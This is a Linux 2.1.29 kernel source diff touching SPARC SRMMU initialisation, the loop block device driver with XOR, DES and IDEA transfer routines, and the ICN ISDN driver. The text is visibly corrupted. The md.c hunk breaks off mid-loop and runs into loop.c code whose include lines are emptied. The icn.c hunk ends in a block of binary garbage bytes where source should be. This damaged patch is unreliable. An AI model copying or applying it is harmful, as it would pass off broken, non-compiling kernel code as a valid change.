(unsigned long) iaddr); \ - } while(0); - -__initfunc(static void patch_window_trap_handlers(void)) -{ - unsigned long *iaddr, *daddr; - - PATCH_BRANCH(spwin_mmu_patchme, spwin_srmmu_stackchk); - PATCH_BRANCH(fwin_mmu_patchme, srmmu_fwin_stackchk); - PATCH_BRANCH(tsetup_mmu_patchme, tsetup_srmmu_stackchk); - PATCH_BRANCH(rtrap_mmu_patchme, srmmu_rett_stackchk); - PATCH_BRANCH(sparc_ttable[SP_TRAP_TFLT].inst_three, srmmu_fault); - PATCH_BRANCH(sparc_ttable[SP_TRAP_DFLT].inst_three, srmmu_fault); - PATCH_BRANCH(sparc_ttable[SP_TRAP_DACC].inst_three, srmmu_fault); -} - -#ifdef __SMP__ -/* Local cross-calls. */ -static void smp_flush_page_for_dma(unsigned long page) -{ - xc1((smpfunc_t) local_flush_page_for_dma, page); -} - -static void smp_flush_cache_page_to_uncache(unsigned long page) -{ - xc1((smpfunc_t) local_flush_cache_page_to_uncache, page); -} - -static void smp_flush_tlb_page_for_cbit(unsigned long page) -{ - xc1((smpfunc_t) local_flush_tlb_page_for_cbit, page); -} -#endif - -/* Load up routines and constants for sun4m mmu */ -__initfunc(void ld_mmu_srmmu(void)) -{ - /* First the constants */ - pmd_shift = SRMMU_PMD_SHIFT; - pmd_size = SRMMU_PMD_SIZE; - pmd_mask = SRMMU_PMD_MASK; - pgdir_shift = SRMMU_PGDIR_SHIFT; - pgdir_size = SRMMU_PGDIR_SIZE; - pgdir_mask = SRMMU_PGDIR_MASK; - - ptrs_per_pte = SRMMU_PTRS_PER_PTE; - ptrs_per_pmd = SRMMU_PTRS_PER_PMD; - ptrs_per_pgd = SRMMU_PTRS_PER_PGD; - - page_none = SRMMU_PAGE_NONE; - page_shared = SRMMU_PAGE_SHARED; - page_copy = SRMMU_PAGE_COPY; - page_readonly = SRMMU_PAGE_RDONLY; - page_kernel = SRMMU_PAGE_KERNEL; - pg_iobits = SRMMU_VALID | SRMMU_WRITE | SRMMU_REF; - - /* Functions */ - mmu_getpage = srmmu_getpage; - set_pte = srmmu_set_pte_cacheable; - init_new_context = srmmu_init_new_context; - switch_to_context = srmmu_switch_to_context; - pmd_align = srmmu_pmd_align; - pgdir_align = srmmu_pgdir_align; - vmalloc_start = srmmu_vmalloc_start; - - pte_page = srmmu_pte_page; - pmd_page = srmmu_pmd_page; - pgd_page = srmmu_pgd_page; - - sparc_update_rootmmu_dir = srmmu_update_rootmmu_dir; - - pte_none = srmmu_pte_none; - pte_present = srmmu_pte_present; - pte_clear = srmmu_pte_clear; - - pmd_none = srmmu_pmd_none; - pmd_bad = srmmu_pmd_bad; - pmd_present = srmmu_pmd_present; - pmd_clear = srmmu_pmd_clear; - - pgd_none = srmmu_pgd_none; - pgd_bad = srmmu_pgd_bad; - pgd_present = srmmu_pgd_present; - pgd_clear = srmmu_pgd_clear; - - mk_pte = srmmu_mk_pte; - mk_pte_phys = srmmu_mk_pte_phys; - pgd_set = srmmu_pgd_set; - mk_pte_io = srmmu_mk_pte_io; - pte_modify = srmmu_pte_modify; - pgd_offset = srmmu_pgd_offset; - pmd_offset = srmmu_pmd_offset; - pte_offset = srmmu_pte_offset; - pte_free_kernel = srmmu_pte_free_kernel; - pmd_free_kernel = srmmu_pmd_free_kernel; - pte_alloc_kernel = srmmu_pte_alloc_kernel; - pmd_alloc_kernel = srmmu_pmd_alloc_kernel; - pte_free = srmmu_pte_free; - pte_alloc = srmmu_pte_alloc; - pmd_free = srmmu_pmd_free; - pmd_alloc = srmmu_pmd_alloc; - pgd_free = srmmu_pgd_free; - pgd_alloc = srmmu_pgd_alloc; - - pte_write = srmmu_pte_write; - pte_dirty = srmmu_pte_dirty; - pte_young = srmmu_pte_young; - pte_wrprotect = srmmu_pte_wrprotect; - pte_mkclean = srmmu_pte_mkclean; - pte_mkold = srmmu_pte_mkold; - pte_mkwrite = srmmu_pte_mkwrite; - pte_mkdirty = srmmu_pte_mkdirty; - pte_mkyoung = srmmu_pte_mkyoung; - update_mmu_cache = srmmu_update_mmu_cache; - destroy_context = srmmu_destroy_context; - mmu_lockarea = srmmu_lockarea; - mmu_unlockarea = srmmu_unlockarea; - - mmu_get_scsi_one = srmmu_get_scsi_one; - mmu_get_scsi_sgl = srmmu_get_scsi_sgl; - mmu_release_scsi_one = srmmu_release_scsi_one; - mmu_release_scsi_sgl = srmmu_release_scsi_sgl; - -#ifdef CONFIG_SBUS - mmu_map_dma_area = srmmu_map_dma_area; -#endif - - mmu_info = srmmu_mmu_info; - mmu_v2p = srmmu_v2p; - mmu_p2v = srmmu_p2v; - - /* Task struct and kernel stack allocating/freeing. */ - alloc_kernel_stack = srmmu_alloc_kernel_stack; - alloc_task_struct = srmmu_alloc_task_struct; - free_kernel_stack = srmmu_free_kernel_stack; - free_task_struct = srmmu_free_task_struct; - - quick_kernel_fault = srmmu_quick_kernel_fault; - - /* SRMMU specific. */ - ctxd_set = srmmu_ctxd_set; - pmd_set = srmmu_pmd_set; - - get_srmmu_type(); - patch_window_trap_handlers(); - -#ifdef __SMP__ - /* El switcheroo... */ - - local_flush_cache_all = flush_cache_all; - local_flush_cache_mm = flush_cache_mm; - local_flush_cache_range = flush_cache_range; - local_flush_cache_page = flush_cache_page; - local_flush_tlb_all = flush_tlb_all; - local_flush_tlb_mm = flush_tlb_mm; - local_flush_tlb_range = flush_tlb_range; - local_flush_tlb_page = flush_tlb_page; - local_flush_page_to_ram = flush_page_to_ram; - local_flush_sig_insns = flush_sig_insns; - local_flush_page_for_dma = flush_page_for_dma; - local_flush_cache_page_to_uncache = flush_cache_page_to_uncache; - local_flush_tlb_page_for_cbit = flush_tlb_page_for_cbit; - - flush_cache_all = smp_flush_cache_all; - flush_cache_mm = smp_flush_cache_mm; - flush_cache_range = smp_flush_cache_range; - flush_cache_page = smp_flush_cache_page; - flush_tlb_all = smp_flush_tlb_all; - flush_tlb_mm = smp_flush_tlb_mm; - flush_tlb_range = smp_flush_tlb_range; - flush_tlb_page = smp_flush_tlb_page; - flush_page_to_ram = smp_flush_page_to_ram; - flush_sig_insns = smp_flush_sig_insns; - flush_page_for_dma = smp_flush_page_for_dma; - flush_cache_page_to_uncache = smp_flush_cache_page_to_uncache; - flush_tlb_page_for_cbit = smp_flush_tlb_page_for_cbit; -#endif -} diff -u --recursive --new-file linux-2.1.29/drivers/ap1000/ringbuf.c linux/drivers/ap1000/ringbuf.c --- linux-2.1.29/drivers/ap1000/ringbuf.c Sat May 10 18:17:10 1997 +++ linux/drivers/ap1000/ringbuf.c Sun Mar 23 13:24:58 1997 @@ -308,6 +308,7 @@ struct inode_operations proc_ringbuf_inode_operations = { &proc_ringbuf_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/drivers/block/ll_rw_blk.c linux/drivers/block/ll_rw_blk.c --- linux-2.1.29/drivers/block/ll_rw_blk.c Sat May 10 18:17:36 1997 +++ linux/drivers/block/ll_rw_blk.c Sun Mar 23 16:34:28 1997 @@ -251,6 +251,7 @@ switch (MAJOR(req->rq_dev)) { case SCSI_DISK_MAJOR: disk_index = (MINOR(req->rq_dev) & 0x0070) >> 4; + disk_index += 2; if (disk_index < 4) drive_stat_acct(req->cmd, req->nr_sectors, disk_index); break; diff -u --recursive --new-file linux-2.1.29/drivers/block/md.c linux/drivers/block/md.c --- linux-2.1.29/drivers/block/md.c Sat May 10 18:16:53 1997 +++ linux/drivers/block/md.c Fri Feb 21 18:34:34 1997 @@ -216,9 +216,12 @@ } /* Remove locks. */ - for (i=0; i + +#include +#include +#include +#include +#include + +#include + +#ifdef CONFIG_BLK_DEV_LOOP_DES +# /*nodep*/ include +#endif + +#ifdef CONFIG_BLK_DEV_LOOP_IDEA +# /*nodep*/ include +#endif + +#include /* must follow des.h */ + +#define MAJOR_NR LOOP_MAJOR + +#define DEVICE_NAME "loop" +#define DEVICE_REQUEST do_lo_request +#define DEVICE_NR(device) (MINOR(device)) +#define DEVICE_ON(device) +#define DEVICE_OFF(device) +#define DEVICE_NO_RANDOM +#define TIMEOUT_VALUE (6 * HZ) +#include + +#define MAX_LOOP 8 +static struct loop_device loop_dev[MAX_LOOP]; +static int loop_sizes[MAX_LOOP]; +static int loop_blksizes[MAX_LOOP]; + +/* + * Transfer functions + */ +static int transfer_none(struct loop_device *lo, int cmd, char *raw_buf, + char *loop_buf, int size) +{ + if (cmd == READ) + memcpy(loop_buf, raw_buf, size); + else + memcpy(raw_buf, loop_buf, size); + return 0; +} + +static int transfer_xor(struct loop_device *lo, int cmd, char *raw_buf, + char *loop_buf, int size) +{ + char *in, *out, *key; + int i, keysize; + + if (cmd == READ) { + in = raw_buf; + out = loop_buf; + } else { + in = loop_buf; + out = raw_buf; + } + key = lo->lo_encrypt_key; + keysize = lo->lo_encrypt_key_size; + for (i=0; i < size; i++) + *out++ = *in++ ^ key[(i & 511) % keysize]; + return 0; +} + +#ifdef DES_AVAILABLE +static int transfer_des(struct loop_device *lo, int cmd, char *raw_buf, + char *loop_buf, int size) +{ + unsigned long tmp[2]; + unsigned long x0,x1,p0,p1; + + if (size & 7) + return -EINVAL; + x0 = lo->lo_des_init[0]; + x1 = lo->lo_des_init[1]; + while (size) { + if (cmd == READ) { + tmp[0] = (p0 = ((unsigned long *) raw_buf)[0])^x0; + tmp[1] = (p1 = ((unsigned long *) raw_buf)[1])^x1; + des_ecb_encrypt((des_cblock *) tmp,(des_cblock *) + loop_buf,lo->lo_des_key,DES_ENCRYPT); + x0 = p0^((unsigned long *) loop_buf)[0]; + x1 = p1^((unsigned long *) loop_buf)[1]; + } + else { + p0 = ((unsigned long *) loop_buf)[0]; + p1 = ((unsigned long *) loop_buf)[1]; + des_ecb_encrypt((des_cblock *) loop_buf,(des_cblock *) + raw_buf,lo->lo_des_key,DES_DECRYPT); + ((unsigned long *) raw_buf)[0] ^= x0; + ((unsigned long *) raw_buf)[1] ^= x1; + x0 = p0^((unsigned long *) raw_buf)[0]; + x1 = p1^((unsigned long *) raw_buf)[1]; + } + size -= 8; + raw_buf += 8; + loop_buf += 8; + } + return 0; +} +#endif + +#ifdef IDEA_AVAILABLE + +extern void idea_encrypt_block(idea_key,char *,char *,int); + +static int transfer_idea(struct loop_device *lo, int cmd, char *raw_buf, + char *loop_buf, int size) +{ + if (cmd==READ) { + idea_encrypt_block(lo->lo_idea_en_key,raw_buf,loop_buf,size); + } + else { + idea_encrypt_block(lo->lo_idea_de_key,loop_buf,raw_buf,size); + } + return 0; +} +#endif + +static transfer_proc_t xfer_funcs[MAX_LOOP] = { + transfer_none, /* LO_CRYPT_NONE */ + transfer_xor, /* LO_CRYPT_XOR */ +#ifdef DES_AVAILABLE + transfer_des, /* LO_CRYPT_DES */ +#else + NULL, /* LO_CRYPT_DES */ +#endif +#ifdef IDEA_AVAILABLE /* LO_CRYPT_IDEA */ + transfer_idea +#else + NULL +#endif +}; + + +#define MAX_DISK_SIZE 1024*1024*1024 + + +static void figure_loop_size(struct loop_device *lo) +{ + int size; + + if (S_ISREG(lo->lo_inode->i_mode)) + size = (lo->lo_inode->i_size - lo->lo_offset) / BLOCK_SIZE; + else { + kdev_t lodev = lo->lo_device; + if (blk_size[MAJOR(lodev)]) + size = blk_size[MAJOR(lodev)][MINOR(lodev)] - + lo->lo_offset / BLOCK_SIZE; + else + size = MAX_DISK_SIZE; + } + + loop_sizes[lo->lo_number] = size; +} + +static void do_lo_request(void) +{ + int real_block, block, offset, len, blksize, size; + char *dest_addr; + struct loop_device *lo; + struct buffer_head *bh; + +repeat: + INIT_REQUEST; + if (MINOR(CURRENT->rq_dev) >= MAX_LOOP) + goto error_out; + lo = &loop_dev[MINOR(CURRENT->rq_dev)]; + if (!lo->lo_inode || !lo->transfer) + goto error_out; + + blksize = BLOCK_SIZE; + if (blksize_size[MAJOR(lo->lo_device)]) { + blksize = blksize_size[MAJOR(lo->lo_device)][MINOR(lo->lo_device)]; + if (!blksize) + blksize = BLOCK_SIZE; + } + + dest_addr = CURRENT->buffer; + + if (blksize < 512) { + block = CURRENT->sector * (512/blksize); + offset = 0; + } else { + block = CURRENT->sector / (blksize >> 9); + offset = (CURRENT->sector % (blksize >> 9)) << 9; + } + block += lo->lo_offset / blksize; + offset += lo->lo_offset % blksize; + if (offset > blksize) { + block++; + offset -= blksize; + } + len = CURRENT->current_nr_sectors << 9; + + if (CURRENT->cmd == WRITE) { + if (lo->lo_flags & LO_FLAGS_READ_ONLY) + goto error_out; + } else if (CURRENT->cmd != READ) { + printk("unknown loop device command (%d)?!?", CURRENT->cmd); + goto error_out; + } + while (len > 0) { + real_block = block; + if (lo->lo_flags & LO_FLAGS_DO_BMAP) { + real_block = bmap(lo->lo_inode, block); + if (!real_block) { + printk("loop: block %d not present\n", block); + goto error_out; + } + } + bh = getblk(lo->lo_device, real_block, blksize); + if (!bh) { + printk("loop: device %s: getblk(-, %d, %d) returned NULL", + kdevname(lo->lo_device), + block, blksize); + goto error_out; + } + if (!buffer_uptodate(bh) && ((CURRENT->cmd == READ) || + (offset || (len < blksize)))) { + ll_rw_block(READ, 1, &bh); + wait_on_buffer(bh); + if (!buffer_uptodate(bh)) { + brelse(bh); + goto error_out; + } + } + size = blksize - offset; + if (size > len) + size = len; + + if ((lo->transfer)(lo, CURRENT->cmd, bh->b_data + offset, + dest_addr, size)) { + printk("loop: transfer error block %d\n", block); + brelse(bh); + goto error_out; + } + if (CURRENT->cmd == WRITE) { + mark_buffer_uptodate(bh, 1); + mark_buffer_dirty(bh, 1); + } + brelse(bh); + dest_addr += size; + len -= size; + offset = 0; + block++; + } + end_request(1); + goto repeat; +error_out: + end_request(0); + goto repeat; +} + +static int loop_set_fd(struct loop_device *lo, kdev_t dev, unsigned int arg) +{ + struct file *file; + struct inode *inode; + + if (arg >= NR_OPEN || !(file = current->files->fd[arg])) + return -EBADF; + if (lo->lo_inode) + return -EBUSY; + inode = file->f_inode; + if (!inode) { + printk("loop_set_fd: NULL inode?!?\n"); + return -EINVAL; + } + if (S_ISBLK(inode->i_mode)) { + int error = blkdev_open(inode, file); + if (error) + return error; + lo->lo_device = inode->i_rdev; + lo->lo_flags = 0; + } else if (S_ISREG(inode->i_mode)) { + lo->lo_device = inode->i_dev; + lo->lo_flags = LO_FLAGS_DO_BMAP; + } else + return -EINVAL; + + if (IS_RDONLY (inode) || is_read_only(lo->lo_device)) { + lo->lo_flags |= LO_FLAGS_READ_ONLY; + set_device_ro(dev, 1); + } else { + invalidate_inode_pages (inode); + set_device_ro(dev, 0); + } + + lo->lo_inode = inode; + lo->lo_inode->i_count++; + lo->transfer = NULL; + figure_loop_size(lo); + MOD_INC_USE_COUNT; + return 0; +} + +static int loop_clr_fd(struct loop_device *lo, kdev_t dev) +{ + if (!lo->lo_inode) + return -ENXIO; + if (lo->lo_refcnt > 1) /* we needed one fd for the ioctl */ + return -EBUSY; + if (S_ISBLK(lo->lo_inode->i_mode)) + blkdev_release (lo->lo_inode); + iput(lo->lo_inode); + lo->lo_device = 0; + lo->lo_inode = NULL; + lo->lo_encrypt_type = 0; + lo->lo_offset = 0; + lo->lo_encrypt_key_size = 0; + memset(lo->lo_encrypt_key, 0, LO_KEY_SIZE); + memset(lo->lo_name, 0, LO_NAME_SIZE); + loop_sizes[lo->lo_number] = 0; + invalidate_buffers(dev); + MOD_DEC_USE_COUNT; + return 0; +} + +static int loop_set_status(struct loop_device *lo, struct loop_info *arg) +{ + struct loop_info info; + int err; + + if (!lo->lo_inode) + return -ENXIO; + if (!arg) + return -EINVAL; + err = verify_area(VERIFY_READ, arg, sizeof(info)); + if (err) + return err; + copy_from_user(&info, arg, sizeof(info)); + if ((unsigned int) info.lo_encrypt_key_size > LO_KEY_SIZE) + return -EINVAL; + switch (info.lo_encrypt_type) { + case LO_CRYPT_NONE: + break; + case LO_CRYPT_XOR: + if (info.lo_encrypt_key_size < 0) + return -EINVAL; + break; +#ifdef DES_AVAILABLE + case LO_CRYPT_DES: + if (info.lo_encrypt_key_size != 8) + return -EINVAL; + des_set_key((des_cblock *) lo->lo_encrypt_key, + lo->lo_des_key); + memcpy(lo->lo_des_init,info.lo_init,8); + break; +#endif +#ifdef IDEA_AVAILABLE + case LO_CRYPT_IDEA: + { + uint16 tmpkey[8]; + + if (info.lo_encrypt_key_size != IDEAKEYSIZE) + return -EINVAL; + /* create key in lo-> from info.lo_encrypt_key */ + memcpy(tmpkey,info.lo_encrypt_key,sizeof(tmpkey)); + en_key_idea(tmpkey,lo->lo_idea_en_key); + de_key_idea(lo->lo_idea_en_key,lo->lo_idea_de_key); + break; + } +#endif + default: + return -EINVAL; + } + lo->lo_offset = info.lo_offset; + strncpy(lo->lo_name, info.lo_name, LO_NAME_SIZE); + lo->lo_encrypt_type = info.lo_encrypt_type; + lo->transfer = xfer_funcs[lo->lo_encrypt_type]; + lo->lo_encrypt_key_size = info.lo_encrypt_key_size; + if (info.lo_encrypt_key_size) + memcpy(lo->lo_encrypt_key, info.lo_encrypt_key, + info.lo_encrypt_key_size); + figure_loop_size(lo); + return 0; +} + +static int loop_get_status(struct loop_device *lo, struct loop_info *arg) +{ + struct loop_info info; + int err; + + if (!lo->lo_inode) + return -ENXIO; + if (!arg) + return -EINVAL; + err = verify_area(VERIFY_WRITE, arg, sizeof(info)); + if (err) + return err; + memset(&info, 0, sizeof(info)); + info.lo_number = lo->lo_number; + info.lo_device = kdev_t_to_nr(lo->lo_inode->i_dev); + info.lo_inode = lo->lo_inode->i_ino; + info.lo_rdevice = kdev_t_to_nr(lo->lo_device); + info.lo_offset = lo->lo_offset; + info.lo_flags = lo->lo_flags; + strncpy(info.lo_name, lo->lo_name, LO_NAME_SIZE); + info.lo_encrypt_type = lo->lo_encrypt_type; + if (lo->lo_encrypt_key_size && suser()) { + info.lo_encrypt_key_size = lo->lo_encrypt_key_size; + memcpy(info.lo_encrypt_key, lo->lo_encrypt_key, + lo->lo_encrypt_key_size); + } + copy_to_user(arg, &info, sizeof(info)); + return 0; +} + +static int lo_ioctl(struct inode * inode, struct file * file, + unsigned int cmd, unsigned long arg) +{ + struct loop_device *lo; + int dev; + + if (!inode) + return -EINVAL; + if (MAJOR(inode->i_rdev) != MAJOR_NR) { + printk("lo_ioctl: pseudo-major != %d\n", MAJOR_NR); + return -ENODEV; + } + dev = MINOR(inode->i_rdev); + if (dev >= MAX_LOOP) + return -ENODEV; + lo = &loop_dev[dev]; + switch (cmd) { + case LOOP_SET_FD: + return loop_set_fd(lo, inode->i_rdev, arg); + case LOOP_CLR_FD: + return loop_clr_fd(lo, inode->i_rdev); + case LOOP_SET_STATUS: + return loop_set_status(lo, (struct loop_info *) arg); + case LOOP_GET_STATUS: + return loop_get_status(lo, (struct loop_info *) arg); + case BLKGETSIZE: /* Return device size */ + if (!lo->lo_inode) + return -ENXIO; + if (!arg) + return -EINVAL; + return put_user(loop_sizes[lo->lo_number] << 1, (long *) arg); + default: + return -EINVAL; + } + return 0; +} + +static int lo_open(struct inode *inode, struct file *file) +{ + struct loop_device *lo; + int dev; + + if (!inode) + return -EINVAL; + if (MAJOR(inode->i_rdev) != MAJOR_NR) { + printk("lo_open: pseudo-major != %d\n", MAJOR_NR); + return -ENODEV; + } + dev = MINOR(inode->i_rdev); + if (dev >= MAX_LOOP) + return -ENODEV; + lo = &loop_dev[dev]; + lo->lo_refcnt++; + MOD_INC_USE_COUNT; + return 0; +} + +static void lo_release(struct inode *inode, struct file *file) +{ + struct loop_device *lo; + int dev; + + if (!inode) + return; + if (MAJOR(inode->i_rdev) != MAJOR_NR) { + printk("lo_release: pseudo-major != %d\n", MAJOR_NR); + return; + } + dev = MINOR(inode->i_rdev); + if (dev >= MAX_LOOP) + return; + fsync_dev(inode->i_rdev); + lo = &loop_dev[dev]; + if (lo->lo_refcnt <= 0) + printk("lo_release: refcount(%d) <= 0\n", lo->lo_refcnt); + else { + lo->lo_refcnt--; + MOD_DEC_USE_COUNT; + } +} + +static struct file_operations lo_fops = { + NULL, /* lseek - default */ + block_read, /* read - general block-dev read */ + block_write, /* write - general block-dev write */ + NULL, /* readdir - bad */ + NULL, /* poll */ + lo_ioctl, /* ioctl */ + NULL, /* mmap */ + lo_open, /* open */ + lo_release /* release */ +}; + +/* + * And now the modules code and kernel interface. + */ +#ifdef MODULE +#define loop_init init_module +#endif + +int +loop_init( void ) { + int i; + + if (register_blkdev(MAJOR_NR, "loop", &lo_fops)) { + printk("Unable to get major number %d for loop device\n", + MAJOR_NR); + return -EIO; + } +#ifndef MODULE + printk("loop: registered device at major %d\n", MAJOR_NR); +#ifdef DES_AVAILABLE + printk("loop: DES encryption available\n"); +#endif +#ifdef IDEA_AVAILABLE + printk("loop: IDEA encryption available\n"); +#endif +#endif + + blk_dev[MAJOR_NR].request_fn = DEVICE_REQUEST; + for (i=0; i < MAX_LOOP; i++) { + memset(&loop_dev[i], 0, sizeof(struct loop_device)); + loop_dev[i].lo_number = i; + } + memset(&loop_sizes, 0, sizeof(loop_sizes)); + memset(&loop_blksizes, 0, sizeof(loop_blksizes)); + blk_size[MAJOR_NR] = loop_sizes; + blksize_size[MAJOR_NR] = loop_blksizes; + + return 0; +} + +#ifdef MODULE +void +cleanup_module( void ) { + if (unregister_blkdev(MAJOR_NR, "loop") != 0) + printk("loop: cleanup_module failed\n"); +} +#endif diff -u --recursive --new-file linux-2.1.29/drivers/char/vt.c linux/drivers/char/vt.c --- linux-2.1.29/drivers/char/vt.c Sat May 10 18:17:10 1997 +++ linux/drivers/char/vt.c Fri Feb 21 18:34:34 1997 @@ -51,7 +51,7 @@ struct vt_struct *vt_cons[MAX_NR_CONSOLES]; #ifndef __alpha__ -asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int on); +asmlinkage_p(int sys_ioperm(unsigned long from, unsigned long num, int on)); #endif extern int getkeycode(unsigned int scancode); diff -u --recursive --new-file linux-2.1.29/drivers/isdn/icn/icn.c linux/drivers/isdn/icn/icn.c --- linux-2.1.29/drivers/isdn/icn/icn.c Sat May 10 18:17:36 1997 +++ linux/drivers/isdn/icn/icn.c Wed Mar 5 21:12:21 1997 @@ -1489,303 +1489,6 @@ break; case ISDN_CMD_GETL2: if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - if ((c->arg & 255) < ICN_BCH) - return card->l2_proto[c->arg & 255]; - else - return -ENODEV; - case ISDN_CMD_SETL3: - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - return 0; - case ISDN_CMD_GETL3: - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - if ((c->arg & 255) < ICN_BCH) - return ISDN_PROTO_L3_TRANS; - else - return -ENODEV; - case ISDN_CMD_GETEAZ: - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - break; - case ISDN_CMD_SETSIL: - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - break; - case ISDN_CMD_GETSIL: - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - break; - case ISDN_CMD_LOCK: - MOD_INC_USE_COUNT; - break; - case ISDN_CMD_UNLOCK: - MOD_DEC_USE_COUNT; - break; - default: - return -EINVAL; - } - return 0; -} - -/* - * Find card with given driverId - */ -static inline icn_card * -icn_findcard(int driverid) -{ - icn_card *p = cards; - - while (p) { - if (p->myid == driverid) - return p; - p = p->next; - } - return (icn_card *) 0; -} - -/* - * Wrapper functions for interface to linklevel - */ -static int -if_command(isdn_ctrl * c) -{ - icn_card *card = icn_findcard(c->driver); - - if (card) - return (icn_command(c, card)); - printk(KERN_ERR - "icn: if_command %d called with invalid driverId %d!\n", - c->command, c->driver); - return -ENODEV; -} - -static int -if_writecmd(const u_char * buf, int len, int user, int id, int channel) -{ - icn_card *card = icn_findcard(id); - - if (card) { - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - return (icn_writecmd(buf, len, user, card)); - } - printk(KERN_ERR - "icn: if_writecmd called with invalid driverId!\n"); - return -ENODEV; -} - -static int -if_readstatus(u_char * buf, int len, int user, int id, int channel) -{ - icn_card *card = icn_findcard(id); - - if (card) { - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - return (icn_readstatus(buf, len, user, card)); - } - printk(KERN_ERR - "icn: if_readstatus called with invalid driverId!\n"); - return -ENODEV; -} - -static int -if_sendbuf(int id, int channel, struct sk_buff *skb) -{ - icn_card *card = icn_findcard(id); - - if (card) { - if (!card->flags & ICN_FLAGS_RUNNING) - return -ENODEV; - return (icn_sendbuf(channel, skb, card)); - } - printk(KERN_ERR - "icn: if_sendbuf called with invalid driverId!\n"); - return -ENODEV; -} - -/* - * Allocate a new card-struct, initialize it - * link it into cards-list and register it at linklevel. - */ -static icn_card * -icn_initcard(int port, char *id) -{ - icn_card *card; - int i; - - if (!(card = (icn_card *) kmalloc(sizeof(icn_card), GFP_KERNEL))) { - printk(KERN_WARNING - "icn: (%s) Could not allocate card-struct.\n", id); - return (icn_card *) 0; - } - memset((char *) card, 0, sizeof(icn_card)); - card->port = port; - card->interface.channels = ICN_BCH; - card->interface.maxbufsize = 4000; - card->interface.command = if_command; - card->interface.writebuf_skb = if_sendbuf; - card->interface.writecmd = if_writecmd; - card->interface.readstat = if_readstatus; - card->interface.features = ISDN_FEATURE_L2_X75I | - ISDN_FEATURE_L2_HDLC | - ISDN_FEATURE_L3_TRANS | - ISDN_FEATURE_P_UNKNOWN; - card->ptype = ISDN_PTYPE_UNKNOWN; - strncpy(card->interface.id, id, sizeof(card->interface.id) - 1); - card->msg_buf_write = card->msg_buf; - card->msg_buf_read = card->msg_buf; - card->msg_buf_end = &card->msg_buf[sizeof(card->msg_buf) - 1]; - for (i = 0; i < ICN_BCH; i++) { - card->l2_proto[i] = ISDN_PROTO_L2_X75I; - skb_queue_head_init(&card->spqueue[i]); - } - card->next = cards; - cards = card; - if (!register_isdn(&card->interface)) { - cards = cards->next; - printk(KERN_WARNING - "icn: Unable to register %s\n", id); - kfree(card); - return (icn_card *) 0; - } - card->myid = card->interface.channels; - sprintf(card->regname, "icn-isdn (%s)", card->interface.id); - return card; -} - -static int -icn_addcard(int port, char *id1, char *id2) -{ - ulong flags; - icn_card *card; - icn_card *card2; - - save_flags(flags); - cli(); - if (!(card = icn_initcard(port, id1))) { - restore_flags(flags); - return -EIO; - } - if (!strlen(id2)) { - restore_flags(flags); - printk(KERN_INFO - "icn: (%s) ICN-2B, port 0x%x added\n", - card->interface.id, port); - return 0; - } - if (!(card2 = icn_initcard(port, id2))) { - restore_flags(flags); - printk(KERN_INFO - "icn: (%s) half ICN-4B, port 0x%x added\n", - card2->interface.id, port); - return 0; - } - card->doubleS0 = 1; - card->secondhalf = 0; - card->other = card2; - card2->doubleS0 = 1; - card2->secondhalf = 1; - card2->other = card; - restore_flags(flags); - printk(KERN_INFO - "icn: (%s and %s) ICN-4B, port 0x%x added\n", - card->interface.id, card2->interface.id, port); - return 0; -} - -#ifdef MODULE -#define icn_init init_module -#else -void -icn_setup(char *str, int *ints) -{ - char *p; - static char sid[20]; - static char sid2[20]; - - if (ints[0]) - portbase = ints[1]; - if (ints[0] > 1) - membase = ints[2]; - if (strlen(str)) { - strcpy(sid, str); - icn_id = sid; - if ((p = strchr(sid, ','))) { - *p++ = 0; - strcpy(sid2, p); - icn_id2 = sid2; - } - } -} -#endif - -int -icn_init(void) -{ - char *p; - char rev[10]; - - memset(&dev, 0, sizeof(icn_dev)); - dev.shmem = (icn_shmem *) ((unsigned long) membase & 0x0ffc000); - dev.channel = -1; - dev.mcard = NULL; - dev.firstload = 1; - - /* No symbols to export, hide all symbols */ -#if (LINUX_VERSION_CODE < 0x020111) - register_symtab(NULL); -#else - EXPORT_NO_SYMBOLS; -#endif - - if ((p = strchr(revision, ':'))) { - strcpy(rev, p + 1); - p = strchr(rev, '$'); - *p = 0; - } else - strcpy(rev, " ??? "); - printk(KERN_NOTICE "ICN-ISDN-driver Rev%smem=0x%08lx\n", rev, - (ulong) dev.shmem); - return (icn_addcard(portbase, icn_id, icn_id2)); -} - -#ifdef MODULE -void -cleanup_module(void) -{ - isdn_ctrl cmd; - icn_card *card = cards; - icn_card *last; - int i; - - icn_stopallcards(); - while (card) { - cmd.command = ISDN_STAT_UNLOAD; - cmd.driver = card->myid; - card->interface.statcallb(&cmd); - if (card->rvalid) { - OUTB_P(0, ICN_RUN); /* Reset Controller */ - OUTB_P(0, ICN_MAPRAM); /* Disable RAM */ - if (card->secondhalf || (!card->doubleS0)) { - release_region(card->port, ICN_PORTLEN); - card->rvalid = 0; - } - for (i = 0; i < ICN_BCH; i++) - icn_free_queue(&card->spqueue[i]); - } - card = card->next; - } - card = cards; - while (card) { - last = card; - card = card->next; - kfree(last); - } - if (dev.mvalid) - release_shmem((ulong) dev.shmem, 0x4000); - printk(KERN_NOTICE "ICN-ISDN-driver unloaded\n"); -} -#endif + return  #` D` # FV##|F#| FV#  L + $O #    "#$O PhRF FB#  L + O #  O y,O bOW+(PbOWbzX7zXO O lBWO "x ({XD o ({X@XUUᆳ \ No newline at end of file diff -u --recursive --new-file linux-2.1.29/drivers/isdn/icn/icn.h linux/drivers/isdn/icn/icn.h --- linux-2.1.29/drivers/isdn/icn/icn.h Sat May 10 18:17:36 1997 +++ linux/drivers/isdn/icn/icn.h Wed Dec 31 19:00:00 1969 @@ -1,389 +0,0 @@ -/* $Id: icn.h,v 1.26 1997/02/14 12:23:16 fritz Exp $ - - * ISDN lowlevel-module for the ICN active ISDN-Card. - * - * Copyright 1994 by Fritz Elfert (fritz@wuemaus.franken.de) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2, or (at your option) - * any later version. - * - 